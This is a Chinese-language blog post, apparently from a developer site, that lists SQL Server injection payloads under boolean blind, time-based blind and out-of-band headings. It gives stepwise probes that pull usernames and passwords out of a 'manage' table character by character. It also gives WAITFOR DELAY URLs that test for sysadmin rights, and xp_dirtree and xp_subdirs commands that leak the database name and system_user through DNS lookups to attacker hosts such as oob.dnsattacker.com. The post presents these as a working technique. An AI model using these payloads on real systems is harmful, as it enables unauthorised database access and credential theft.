Sql server注入分类之盲注(布尔-时间-OOB)

布尔盲注

总结
布尔盲注就是靠逐个猜测与尝试弱口令的的方法,有报错的就是猜错了,没报错就对了。

第一步 判断注入

  • and 1=1

  • and 1=2

第二步 猜解列数

  • order by 1 #返回正确

  • order by 2 #返回正确

  • order by 3 #抛出错误

第三步 猜数据库名,表名:

  • and (select count(*) from sysobjects)>0 #确定SQLSERVER数据库

  • and (select count(*) from manage)>0 #确定数据表

  • and (select count(*) from manage)=1,2,3,4,5 #确定长度

第四步 猜解字段

  • and exists(select username from manage),#返回正常,字段名正确

  • and exists(select password from manage), #返回正常,字段名正确

第五步 判断字段长度

  • and exists(select id from manage where ID=1) #判断ID=1是否存在

  • and exists(select id from manage where len(username)=1 and ID=1)
    #猜解username字段长度,依次尝试

  • and exists(select id from manage where len(username)=8 and ID=1),
    #username#字段长度为8

  • and exists(select id from manage where len(password)=1 and ID=1),
    #猜解password字段长度

  • and exists(select id from manage where len(password)=16 and ID=1),
    #password字段长度为16

第六步 猜解字段内容

  • and exists (select id from manage where - unicode(substring(username,1,1))=65 and ID=1)
    #得出数字,然后对照unicode编码表进行破解

http://note.youdao.com/yws/public/resource/a8f33424280f1a9440b497f386b004fb/xmlnote/F1B05CA76AE84A13858224E345114766/52FC2B0DEDDC4C00A4469A7F921F2074/12115

时间盲注

利用条件

能用堆叠,利用 waitfor delay ‘*’ 延时

注入语句

例:

  • http://127.0.0.1/1.aspx?id=1;if(ascii(substring((select user),1,1)))=100 WAITFOR DELAY ‘0:0:5’
    #判断用户的第一个字母ascii码是否为100,是就延时五秒

  • http://192.168.130.137/1.aspx?id=1;if(select IS_SRVROLEMEMBER(‘sysadmin’))=1 WAITFOR DELAY ‘0:0:5’
    #看下当前角色是否为数据库管理员,是就延时五秒

  • http://192.168.130.137/1.aspx?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY ‘0:0:5’
    #判断数据库名字

OOB 注入

利用条件

  1. 必须堆叠

  2. 必须sa

原理

  • 是用 xp_subdirs ,xp_dirtree, xp_fileexist, xp_fileexists,xp_getfiledetails,sp_add_jobstep 等方法创建DNS查询,读取smb共享域名。

  • 也有用 OpenRowset()OpenDatasource() 的办法,这两个函数为远程加载其他mssql数据库,默认关闭。

    declare @host varchar(1024);

    select @host=convert(varchar(1024),db_name())+’.vj0r9q.dnslog.cn’;

    exec(‘master…xp_subdirs "\\’+@host+’"’);

  • 或者

    exec(‘master…xp_dirtree "\\’+@host+’"’);

    exec(‘master…xp_fileexist "\\’+@host+’\test"’);

检测

受害者

EXEC master…xp_dirtree ‘\\oob.dnsattacker.com \’ –

http://note.youdao.com/yws/public/resource/a5a40bfe67fbf34bc109dd7e53eb37a4/xmlnote/6DEE15B6E6744C27A0ADDA3588E565FC/537D6DAD1BBB4B28A6A45C3EC29FDA4B/109681

利用/渗出

受害者

DECLARE @data varchar (1024 ); SELECT @data = (SELECT system_user ); EXEC(‘master…xp_dirtree "\\’+@data+’.oob.dnsattacker.com\foo$"’);

http://note.youdao.com/yws/public/resource/a5a40bfe67fbf34bc109dd7e53eb37a4/xmlnote/6DEE15B6E6744C27A0ADDA3588E565FC/C51E7E867EF144A88CF09B5B8E7D09FB/109680

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值